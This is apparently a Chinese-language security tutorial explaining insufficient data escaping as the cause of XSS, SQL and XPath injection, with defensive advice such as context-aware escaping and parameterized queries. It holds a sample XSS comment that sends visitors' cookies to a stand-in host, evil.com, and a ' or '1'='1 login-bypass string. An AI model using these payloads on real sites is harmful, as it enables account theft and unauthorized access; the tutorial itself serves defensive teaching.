幾乎所有注入型攻擊(如 XSS、SQL Injection)的根本原因,都源於同一個問題:不充分的資料轉義 (Insufficient Data Escaping)。當應用程式將使用者提供的資料,直接與後端的指令或標記語言(如 SQL、HTML)拼接在一起,而沒有對其中的特殊字元進行適當處理時,就為攻擊者敞開了大門。
什麼是資料轉義?
資料轉義 (Data Escaping),或稱編碼 (Encoding),是將資料中的特定字元,轉換成另一種表示形式的過程。這種轉換的目的是為了消除字元的特殊意義,確保它們在特定的「上下文 (Context)」中,被解釋為純粹的資料,而不是程式碼或指令。
範例:
- 在 HTML 上下文中,將
<
轉義成<
,防止瀏覽器將其解釋為 HTML 標籤的開始。 - 在 SQL 查詢上下文中,將單引號
'
轉義成''
,防止它提前閉合字串,引發 SQL 注入。
核心問題:將資料與程式碼混為一談
漏洞的發生,是因為應用程式未能嚴格區分「程式碼」和「資料」。當使用者輸入的資料,被後端解釋器(如瀏覽器、資料庫)誤認為是程式碼的一部分時,注入攻擊就發生了。
常見的攻擊情境
情境一:跨站腳本攻擊 (XSS)
- 場景:一個論壇網站,允許使用者發表評論。
- 漏洞:後端在顯示評論時,沒有對使用者輸入的內容進行 HTML 轉義。
- 攻擊:攻擊者提交了一段惡意評論:
1
我是一個好人!<script>document.location='http://evil.com/steal_cookie?c=' + document.cookie</script>
- 後果:當其他使用者瀏覽這個頁面時,瀏覽器會直接執行這段
<script>
,將他們的 Cookie 發送到攻擊者的伺服器,導致帳戶被盜。
情境二:XPath 注入
- 場景:一個應用程式使用 XML 資料庫,並透過 XPath 查詢來驗證使用者登入。
- 漏洞:後端將使用者輸入的帳號密碼,直接拼接到 XPath 查詢字串中。
- 攻擊:攻擊者在密碼欄位輸入了惡意字串
' or '1'='1
。 - 後果:拼接後的 XPath 查詢變成了
//user[username='some_user' and password='' or '1'='1']
。這個查詢的條件永遠為真,攻擊者因此繞過了身份驗證,成功登入。
風險與影響
- 任意程式碼執行:在 XSS 攻擊中,攻擊者可以在使用者瀏覽器上執行任意 JavaScript。
- 資料庫被盜或損毀:在 SQL 注入中,攻擊者可以讀取、修改甚至刪除整個資料庫。
- 繞過身份驗證:如 XPath 或 LDAP 注入,可以繞過登入機制。
- 伺服器被接管:在命令注入 (Command Injection) 中,攻擊者甚至可以在伺服器上執行作業系統命令。
防禦與預防措施
核心原則:永遠不要信任使用者輸入,並對所有外部資料進行處理。
1. 上下文感知轉義 (Context-Aware Escaping)
- 這是最關鍵的防禦手段。必須根據資料最終要被哪個解釋器使用,來選擇對應的轉義方法。
- 例如,要顯示在 HTML 中的資料,就用 HTML 轉義;要放入 JavaScript 字串中的資料,就用 JavaScript 字串轉義。許多現代 Web 框架的範本引擎(如 Django, React)都內建了自動的上下文感知轉義功能。
2. 使用參數化查詢 (Parameterized Queries)
- 對於資料庫操作,絕對不要手動拼接 SQL 查詢字串。
- 應始終使用參數化查詢(也稱預備陳述式, Prepared Statements)。這種方法會將 SQL 指令(程式碼)和參數(資料)完全分開傳送給資料庫,從根本上杜絕 SQL 注入的可能。
3. 輸入驗證 (Input Validation)
- 在接受使用者輸入時,進行嚴格的驗證。例如,如果一個欄位期望的是數字,就拒絕任何非數字的輸入。這可以作為一道輔助的防線,但不能取代輸出時的轉義。
說些什麼吧!